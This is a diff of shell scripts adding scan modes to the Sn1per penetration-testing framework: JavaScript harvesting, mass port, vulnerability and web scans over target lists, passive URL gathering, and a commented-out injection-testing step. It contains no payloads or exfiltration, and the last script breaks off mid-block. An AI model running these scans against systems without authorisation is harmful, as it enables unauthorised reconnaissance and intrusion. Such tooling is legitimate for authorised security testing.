+  if [[ -s "$LOOT_DIR/nmap/ports-$TARGET.diff" ]]; then
+    if [[ "$SLACK_NOTIFICATIONS_NMAP_DIFF" == "1" ]]; then
+      /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Port change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+      /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/ports-$TARGET.diff"
+    fi
+    echo "[sn1persecurity.com] •?((¯°·._.• Port change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+    cat $LOOT_DIR/nmap/ports-$TARGET.diff | egrep "<|>" >> $LOOT_DIR/scans/notifications_new.txt
+  fi
+  echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per full portscan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+  if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per full portscan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+  fi
+fi

modes/javascript-analysis.sh

@@ -0,0 +1,36 @@
+      mkdir -p $LOOT_DIR/web/javascript/$TARGET 2> /dev/null
+      cd $LOOT_DIR/web/javascript/$TARGET
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED DOWNLOADING ALL JAVASCRIPT FILES $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      egrep --binary-files=text "\.js" $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -v '.json|.jsp'
+      for a in `egrep --binary-files=text "\.js" $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -v '.json|.jsp' | head -n $MAX_JAVASCRIPT_FILES | cut -d\? -f1 | sort -u`; do echo "Downloading - $a" && FILENAME=$(echo "$a" | awk -F/ '{print $(NF-0)}') && curl --connect-timeout 10 --max-time 10 -s -R -L --insecure $a | js-beautify - > $FILENAME 2> /dev/null; done;
+      for a in `egrep --binary-files=text "\.js" $LOOT_DIR/web/weblinks-htt*-$TARGET.txt 2> /dev/null | egrep -v '.json|.jsp' | egrep -i 'http' | head -n $MAX_JAVASCRIPT_FILES | cut -d\? -f1 | sort -u`; do echo "Downloading - $a" && FILENAME=$(echo "$a" | awk -F/ '{print $(NF-0)}') && curl --connect-timeout 10 --max-time 10 -s -R -L --insecure $a | js-beautify - > $FILENAME 2> /dev/null; done;
+      for a in `egrep --binary-files=text "\.js" $LOOT_DIR/web/weblinks-htt*-$TARGET.txt 2> /dev/null | egrep -v '.json|.jsp' | egrep -iv 'http' | head -n $MAX_JAVASCRIPT_FILES | cut -d\? -f1 | sort -u`; do echo "Downloading - https://$a" && FILENAME=$(echo "https://$a" | awk -F/ '{print $(NF-0)}') && curl --connect-timeout 10 --max-time 10 -s -R -L --insecure $a | js-beautify - > $FILENAME 2> /dev/null; done;
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED DISPLAYING ALL JAVASCRIPT COMMENTS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      cat $LOOT_DIR/web/javascript/$TARGET/*.js 2> /dev/null | egrep "\/\/|\/\*" | sort -u | tee $LOOT_DIR/web/javascript-$TARGET-comments.txt 
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED DISPLAYING ALL JAVASCRIPT LINKS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      cat $LOOT_DIR/web/javascript/$TARGET/*.js 2> /dev/null | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | tee $LOOT_DIR/web/javascript-$TARGET-urls.txt
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING LINKFINDER $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      cd $PLUGINS_DIR/LinkFinder/
+      for a in `ls $LOOT_DIR/web/javascript/$TARGET/*.js 2> /dev/null`; do echo "Analyzing - $a" && FILENAME=$(echo "$a" | awk -F/ '{print $(NF-0)}') && python3 linkfinder.py -d -i $a -o cli 2> /dev/null | egrep -v "application\/|SSL error" > $LOOT_DIR/web/javascript-linkfinder-$TARGET-$FILENAME.txt 2> /dev/null; done;
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED DISPLAYING PATH RELATIVE LINKS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      cat $LOOT_DIR/web/javascript-linkfinder-$TARGET-*.txt 2> /dev/null | grep -v "Running " | awk '{print $1}' | sort -u | tee $LOOT_DIR/web/javascript-$TARGET-path-relative.txt
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED DISPLAYING JAVASCRIPT URLS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      grep -h http $LOOT_DIR/web/javascript-linkfinder-$TARGET-*.txt 2> /dev/null | grep -v "Running " | awk '{print $1}' | egrep "http\:\/\/|https\:\/\/" | sort -u | tee $LOOT_DIR/web/javascript-$TARGET-linkfinder-urls.txt
+      sort -u $LOOT_DIR/web/javascript-$TARGET-urls.txt $LOOT_DIR/web/javascript-$TARGET-linkfinder-urls.txt 2> /dev/null > $LOOT_DIR/web/javascript-$TARGET-urls-sorted.txt
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED DISPLAYING JAVASCRIPT DOMAINS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      grep -h http $LOOT_DIR/web/javascript-linkfinder-$TARGET-*.txt 2> /dev/null | grep -v "Running " | awk '{print $1}' | egrep "http\:\/\/|https\:\/\/" | cut -d\/ -f3 | sort -u | tee $LOOT_DIR/web/javascript-$TARGET-domains.txt
+      WEB_JAVASCRIPT_ANALYSIS="0"

modes/massportscan.sh

@@ -0,0 +1,73 @@
+# MASSWEB MODE #####################################################################################################
+if [[ "$MODE" = "massportscan" ]]; then
+  if [[ -z "$FILE" ]]; then
+    logo
+    echo "You need to specify a list of targets (ie. -f <targets.txt>) to scan."
+    exit
+  fi
+  if [[ "$REPORT" = "1" ]]; then
+    for a in `cat $FILE`;
+    do
+      if [[ ! -z "$WORKSPACE" ]]; then
+        args="$args -w $WORKSPACE"
+        WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
+        echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
+        mkdir -p $WORKSPACE_DIR 2> /dev/null
+        mkdir $WORKSPACE_DIR/domains 2> /dev/null
+        mkdir $WORKSPACE_DIR/screenshots 2> /dev/null
+        mkdir $WORKSPACE_DIR/nmap 2> /dev/null
+        mkdir $WORKSPACE_DIR/notes 2> /dev/null
+        mkdir $WORKSPACE_DIR/reports 2> /dev/null
+        mkdir $WORKSPACE_DIR/output 2> /dev/null
+      fi
+      args="$args -m fullportonly --noreport --noloot"
+      TARGET="$a"
+      args="$args -t $TARGET"
+      echo -e "$OKRED                                         |"
+      echo -e "$OKRED                  |                      |"
+      echo -e "$OKRED                  |                    -/_\-"
+      echo -e "$OKRED                -/_\-   ______________(/ . \)______________"
+      echo -e "$OKRED   ____________(/ . \)_____________    \___/     <>"
+      echo -e "$OKRED   <>           \___/      <>    <>"
+      echo -e "$OKRED "
+      echo -e "$OKRED      ||"
+      echo -e "$OKRED      <>"
+      echo -e "$OKRED                            ||"
+      echo -e "$OKRED                            <>"
+      echo -e "$OKRED                                       ||"
+      echo -e "$OKRED                                       ||            BIG"
+      echo -e "$OKRED        _____               __         <>      (^)))^ BOOM!"
+      echo -e "$OKRED  BOOM!/((  )\       BOOM!((  )))            (     ( )"
+      echo -e "$OKRED ---- (__()__))          (() ) ))           (  (  (   )"
+      echo -e "$OKRED     ||  |||____|------    \  (/   ___     (__\     /__)"
+      echo -e "$OKRED      |__|||  |     |---|---|||___|   |___-----|||||"
+      echo -e "$OKRED  |  ||.  |   |       |     |||                |||||"
+      echo -e "$OKRED      |__|||  |     |---|---|||___|   |___-----|||||"
+      echo -e "$OKRED  |  ||.  |   |       |     |||                |||||"
+      echo -e "$OKRED __________________________________________________________"
+      echo -e "$RESET"
+      if [[ ! -z "$WORKSPACE_DIR" ]]; then
+        echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
+        echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
+        if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+          /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+        fi
+        sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
+      else
+        echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
+        echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
+        sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
+      fi
+      args=""
+    done
+  fi
+  echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+  if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+  fi
+  if [[ "$LOOT" = "1" ]]; then
+    loot
+  fi
+  
+  exit
+fi

modes/massvulnscan.sh

@@ -0,0 +1,74 @@
+# MASSWEB MODE #####################################################################################################
+if [[ "$MODE" = "massvulnscan" ]]; then
+  if [[ -z "$FILE" ]]; then
+    logo
+    echo "You need to specify a list of targets (ie. -f <targets.txt>) to scan."
+    exit
+  fi
+  if [[ "$REPORT" = "1" ]]; then
+    for a in `cat $FILE`;
+    do
+      if [[ ! -z "$WORKSPACE" ]]; then
+        args="$args -w $WORKSPACE"
+        WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
+        echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
+        mkdir -p $WORKSPACE_DIR 2> /dev/null
+        mkdir $WORKSPACE_DIR/domains 2> /dev/null
+        mkdir $WORKSPACE_DIR/screenshots 2> /dev/null
+        mkdir $WORKSPACE_DIR/nmap 2> /dev/null
+        mkdir $WORKSPACE_DIR/notes 2> /dev/null
+        mkdir $WORKSPACE_DIR/reports 2> /dev/null
+        mkdir $WORKSPACE_DIR/output 2> /dev/null
+      fi
+      args="$args -m vulnscan --noreport --noloot"
+      TARGET="$a"
+      args="$args -t $TARGET"
+      echo -e "$OKRED                                         |"
+      echo -e "$OKRED                  |                      |"
+      echo -e "$OKRED                  |                    -/_\-"
+      echo -e "$OKRED                -/_\-   ______________(/ . \)______________"
+      echo -e "$OKRED   ____________(/ . \)_____________    \___/     <>"
+      echo -e "$OKRED   <>           \___/      <>    <>"
+      echo -e "$OKRED "
+      echo -e "$OKRED      ||"
+      echo -e "$OKRED      <>"
+      echo -e "$OKRED                            ||"
+      echo -e "$OKRED                            <>"
+      echo -e "$OKRED                                       ||"
+      echo -e "$OKRED                                       ||            BIG"
+      echo -e "$OKRED        _____               __         <>      (^)))^ BOOM!"
+      echo -e "$OKRED  BOOM!/((  )\       BOOM!((  )))            (     ( )"
+      echo -e "$OKRED ---- (__()__))          (() ) ))           (  (  (   )"
+      echo -e "$OKRED     ||  |||____|------    \  (/   ___     (__\     /__)"
+      echo -e "$OKRED      |__|||  |     |---|---|||___|   |___-----|||||"
+      echo -e "$OKRED  |  ||.  |   |       |     |||                |||||"
+      echo -e "$OKRED      |__|||  |     |---|---|||___|   |___-----|||||"
+      echo -e "$OKRED  |  ||.  |   |       |     |||                |||||"
+      echo -e "$OKRED __________________________________________________________"
+      echo -e "$RESET"
+      if [[ ! -z "$WORKSPACE_DIR" ]]; then
+        echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
+        echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
+        echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+        if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+          /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+        fi
+        sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
+      else
+        echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
+        echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
+        sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
+      fi
+      args=""
+    done
+  fi
+  echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+  if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+  fi
+  if [[ "$LOOT" = "1" ]]; then
+    loot
+  fi
+  
+  exit
+fi

modes/massweb.sh

@@ -0,0 +1,73 @@
+# MASSWEB MODE #####################################################################################################
+if [[ "$MODE" = "massweb" ]]; then
+  if [[ -z "$FILE" ]]; then
+    logo
+    echo "You need to specify a list of targets (ie. -f <targets.txt>) to scan."
+    exit
+  fi
+  if [[ "$REPORT" = "1" ]]; then
+    for a in `cat $FILE`;
+    do
+      if [[ ! -z "$WORKSPACE" ]]; then
+        args="$args -w $WORKSPACE"
+        WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
+        echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
+        mkdir -p $WORKSPACE_DIR 2> /dev/null
+        mkdir $WORKSPACE_DIR/domains 2> /dev/null
+        mkdir $WORKSPACE_DIR/screenshots 2> /dev/null
+        mkdir $WORKSPACE_DIR/nmap 2> /dev/null
+        mkdir $WORKSPACE_DIR/notes 2> /dev/null
+        mkdir $WORKSPACE_DIR/reports 2> /dev/null
+        mkdir $WORKSPACE_DIR/output 2> /dev/null
+      fi
+      args="$args -m web --noreport --noloot"
+      TARGET="$a"
+      args="$args -t $TARGET"
+      echo -e "$OKRED                                         |"
+      echo -e "$OKRED                  |                      |"
+      echo -e "$OKRED                  |                    -/_\-"
+      echo -e "$OKRED                -/_\-   ______________(/ . \)______________"
+      echo -e "$OKRED   ____________(/ . \)_____________    \___/     <>"
+      echo -e "$OKRED   <>           \___/      <>    <>"
+      echo -e "$OKRED "
+      echo -e "$OKRED      ||"
+      echo -e "$OKRED      <>"
+      echo -e "$OKRED                            ||"
+      echo -e "$OKRED                            <>"
+      echo -e "$OKRED                                       ||"
+      echo -e "$OKRED                                       ||            BIG"
+      echo -e "$OKRED        _____               __         <>      (^)))^ BOOM!"
+      echo -e "$OKRED  BOOM!/((  )\       BOOM!((  )))            (     ( )"
+      echo -e "$OKRED ---- (__()__))          (() ) ))           (  (  (   )"
+      echo -e "$OKRED     ||  |||____|------    \  (/   ___     (__\     /__)"
+      echo -e "$OKRED      |__|||  |     |---|---|||___|   |___-----|||||"
+      echo -e "$OKRED  |  ||.  |   |       |     |||                |||||"
+      echo -e "$OKRED      |__|||  |     |---|---|||___|   |___-----|||||"
+      echo -e "$OKRED  |  ||.  |   |       |     |||                |||||"
+      echo -e "$OKRED __________________________________________________________"
+      echo -e "$RESET"
+      if [[ ! -z "$WORKSPACE_DIR" ]]; then
+        #echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
+        echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
+        echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+        if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+          /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+        fi
+        sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
+      else
+        echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
+        sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
+      fi
+      args=""
+    done
+  fi
+  echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+  if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+  fi
+  if [[ "$LOOT" = "1" ]]; then
+    loot
+  fi
+  
+  exit
+fi

modes/masswebscan.sh

@@ -0,0 +1,53 @@
+# MASSWEB MODE #####################################################################################################
+if [[ "$MODE" = "masswebscan" ]]; then
+  if [[ -z "$FILE" ]]; then
+    logo
+    echo "You need to specify a list of targets (ie. -f <targets.txt>) to scan."
+    exit
+  fi
+  if [[ "$REPORT" = "1" ]]; then
+    for a in `cat $FILE`;
+    do
+      if [[ ! -z "$WORKSPACE" ]]; then
+        args="$args -w $WORKSPACE"
+        WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
+        echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
+        mkdir -p $WORKSPACE_DIR 2> /dev/null
+        mkdir $WORKSPACE_DIR/domains 2> /dev/null
+        mkdir $WORKSPACE_DIR/screenshots 2> /dev/null
+        mkdir $WORKSPACE_DIR/nmap 2> /dev/null
+        mkdir $WORKSPACE_DIR/notes 2> /dev/null
+        mkdir $WORKSPACE_DIR/reports 2> /dev/null
+        mkdir $WORKSPACE_DIR/output 2> /dev/null
+        mkdir $WORKSPACE_DIR/vulnerabilities/ 2> /dev/null
+        mkdir $WORKSPACE_DIR/scans/ 2> /dev/null
+      fi
+      args="$args -m webscan --noreport --noloot"
+      TARGET="$a"
+      args="$args -t $TARGET"
+      if [[ ! -z "$WORKSPACE_DIR" ]]; then
+        echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
+        echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+        if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+          /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+        fi
+        sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
+      else
+        echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
+        sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
+      fi
+      args=""
+    done
+  fi
+
+  echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+  if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+  fi
+  
+  if [[ "$LOOT" = "1" ]]; then
+    loot
+  fi
+  
+  exit
+fi

modes/normal_webporthttp.sh

@@ -0,0 +1,200 @@
+wpif [[ "$MODE" = "web" ]]; then
+  echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
+  ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
+
+  echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per HTTP web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+  if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per HTTP web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+  fi
+  if [[ "$PASSIVE_SPIDER" == "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2022-33-index?url=*.$TARGET&output=json" -H 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36' 2> /dev/null | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null | head -n 250
+  fi
+  if [[ "$WAYBACKMACHINE" == "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null | head -n 250
+  fi
+  if [[ "$HACKERTARGET" == "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED FETCHING HACKERTARGET URLS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    curl -s GET "https://api.hackertarget.com/pagelinks/?q=http://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid|error getting links" | tee $LOOT_DIR/web/hackertarget-http-$TARGET.txt 2> /dev/null | head -n 250
+  fi
+  if [[ "$GAU" == "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED FETCHING GUA URLS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    gau -subs $TARGET | tee $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null | head -n 250
+  fi
+  if [[ "$BLACKWIDOW" == "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    touch $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+    cp $LOOT_DIR/web/spider-$TARGET.txt $LOOT_DIR/web/spider-$TARGET.bak 2>/dev/null
+    blackwidow -u http://$TARGET:80 -l 3 -v n
+    cp -f /usr/share/blackwidow/"$TARGET"_80/"$TARGET"_80-*.txt $LOOT_DIR/web/ 2>/dev/null 
+    cat /usr/share/blackwidow/"$TARGET"_*/"$TARGET"_*-urls-sorted.txt > $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+    cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+    cat $LOOT_DIR/web/hackertarget-*-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+    cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+    cat $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+    sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+    mv -f $LOOT_DIR/web/spider-$TARGET.txtr $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+    sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null
+    mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+    diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/web/spider-new-$TARGET.txt
+
+    if [[ $(wc -c $LOOT_DIR/web/spider-new-$TARGET.txt | awk '{print $1}') > 3 ]]; then
+      echo "[sn1persecurity.com] •?((¯°·._.• Spider URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+      head -n 20 $LOOT_DIR/web/spider-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
+    fi
+
+    if [[ "$SLACK_NOTIFICATIONS_SPIDER_NEW" == "1" && "SLACK_NOTIFICATIONS" == "1" ]]; then
+      /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt"
+    fi
+  fi
+  if [[ "$INJECTX" == "1" ]]; then
+    rm -f $LOOT_DIR/web/injectx-$TARGET-http.raw 2> /dev/null
+    #cat $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep '?' | grep 'http\:' | xargs -P $THREADS -r -n 1 -I '{}' injectx.py -u '{}' -vy | tee -a $LOOT_DIR/web/injectx-$TARGET-http.txt
